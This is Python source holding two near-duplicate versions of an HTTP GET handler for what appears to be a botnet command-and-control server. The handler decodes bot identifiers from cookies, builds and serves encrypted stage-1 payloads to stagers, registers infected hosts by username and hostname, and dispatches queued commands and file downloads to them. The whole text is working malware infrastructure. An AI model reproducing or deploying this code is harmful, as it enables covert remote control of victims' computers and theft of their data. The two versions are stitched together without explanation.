def do_GET(self): cookie = self.headers.get("Cookie") if not cookie: self._send_command() else: # Cookie header format: session=<b64_bot_uid>-<b64_JSON_data> bot_uid = b64decode( cookie.split("-")[0].replace("session=", "").encode()).decode() data = json.loads( b64decode(cookie.split("-")[1].encode()).decode()) request_type = int(data["type"]) if request_type == RequestType.STAGE_1: # Send back a uniquely encrypted payload which the stager will run. payload_options = data["payload_options"] loader_options = data["loader_options"] loader_name = loader_options["loader_name"] self._view.output_separator() self._view.output( "[{}] Creating encrypted payload using key: {}".format( loader_options["loader_name"], bot_uid), "info") payload = PayloadFactory.create_payload( bot_uid, payload_options, loader_options) loader = PayloadFactory.wrap_loader(loader_name, loader_options, payload) self._send_command(b64encode(loader.encode()).decode()) elif request_type == RequestType.GET_COMMAND: username = data["username"] hostname = data["hostname"] local_path = data["path"] loader_name = data["loader_name"] if not self._model.is_known_bot(bot_uid): # This is the first time this bot connected. self._model.add_bot( Bot(bot_uid, username, hostname, time(), local_path, loader_name)) self._update_bot_amount() self._send_command() else: # Update the bot's session (last online and local path). self._model.update_bot(bot_uid, time(), local_path) has_executed_global, global_command = self._model.has_executed_global( bot_uid) if not has_executed_global: self._model.add_executed_global(bot_uid) self._send_command(global_command) else: self._send_command( self._model.get_command_raw(bot_uid)) else: self._send_command()
def do_GET(self): cookie = self.headers.get("Cookie") if not cookie: for upload_file in self._model.get_upload_files(): url_path, local_path = upload_file if self.path == ("/" + url_path): with open(local_path, "rb") as input_file: fs = fstat(input_file.fileno()) self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Disposition", 'attachment; filename="{}"'.format(url_path)) self.send_header("Content-Length", str(fs.st_size)) self.end_headers() shutil.copyfileobj(input_file, self.wfile) break else: self._send_command() else: # Cookie header format: session=<b64_bot_uid>-<b64_JSON_data> bot_uid = b64decode(cookie.split("-")[0].replace("session=", "").encode()).decode() data = json.loads(b64decode(cookie.split("-")[1].encode()).decode()) request_type = int(data["type"]) if request_type == RequestType.STAGE_1: # Send back a uniquely encrypted payload which the stager will run. payload_options = data["payload_options"] loader_options = data["loader_options"] loader_name = loader_options["loader_name"] self._view.output_separator() self._view.output("[{}] Creating encrypted payload using key: {}".format( loader_options["loader_name"], bot_uid ), "info") payload = PayloadFactory.create_payload(bot_uid, payload_options, loader_options) loader = PayloadFactory.wrap_loader(loader_name, loader_options, payload) self._send_command(b64encode(loader.encode()).decode()) elif request_type == RequestType.GET_COMMAND: username = data["username"] hostname = data["hostname"] local_path = data["path"] system_version = "" loader_name = data["loader_name"] if not self._model.is_known_bot(bot_uid): # This is the first time this bot connected. bot = Bot(bot_uid, username, hostname, time(), local_path, system_version, loader_name) self._model.add_bot(bot) self._view.on_bot_added(bot) self._send_command() else: # Update the bot's session (last online and local path). self._model.update_bot(bot_uid, time(), local_path) has_executed_global, global_command = self._model.has_executed_global(bot_uid) if not has_executed_global: self._model.add_executed_global(bot_uid) self._send_command(global_command) else: self._send_command(self._model.get_command_raw(bot_uid)) else: self._send_command()